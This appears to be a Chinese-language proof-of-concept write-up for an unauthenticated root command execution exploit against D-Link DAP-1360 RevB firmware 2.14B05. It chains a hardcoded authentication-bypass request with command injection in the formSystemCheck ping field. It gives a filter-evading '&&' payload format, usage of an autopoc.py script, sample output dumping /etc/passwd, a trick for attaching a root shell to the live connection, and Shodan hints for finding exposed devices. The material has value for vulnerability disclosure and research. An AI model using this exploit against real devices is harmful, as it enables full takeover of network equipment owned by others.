
formSystemCheck 处理程序中存在未认证远程 root 命令执行漏洞(CWE-78 — 操作系统命令注入),可通过硬编码认证后门访问。已在 DAP-1360 RevB,固件 2.14B05 上验证。
两个独立问题串联:
1. 硬编码认证绕过路径。 在 main(httpd @ 0x4064c8)中:
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn 返回 404(它并非真实文件),但作为副作用,会将请求来源 IP 的会话槽标记为已认证——无需用户名、密码或验证码。
2. 操作系统命令注入。 formSystemCheck
(POST /apply.cgi?formSystemCheck)使用以下代码构建 shell 命令:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping 未经净化即传入格式字符串;_system() 使用
vsprintf 写入固定栈缓冲区,并将其交给 system()。该处理程序自身不执行任何认证检查。
busybox POST-body 解析器会剥离 ;、|、反引号和换行符,但
&& 会保留。payload 必须终止前缀 ping,然后用 && 链接,例如:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| 参数 | 描述 |
|---|---|
target | 目标主机/IP(默认协议 http://) |
command(可选) | 要运行的 root 命令(默认:cat /etc/passwd);使用 &&,而非 ;/` |
GET /dEfWzDLOgIn — 触发硬编码认证绕过(返回 404;副作用发生在服务端)。POST /apply.cgi?formSystemCheck,携带 ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — root 命令注入。GET /<OUT> — 获取命令输出(httpd 提供 .htm/.html,而非 .txt)。[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc、wget、base64、chmod、id — 请使用 cat、echo、ls、cp 等。_system() 返回,sh <&5 >&5 2>&5 可将 shell 附加到活动连接(在用户模式 QEMU 下不稳定;在真实硬件上更好)。Shodan("CAMEO-httpd",httpd 厂商横幅)显示该确切代码库在互联网上暴露的实例数量很少;该设备主要是 LAN 侧接入点。利用需要能够访问 Web 管理界面。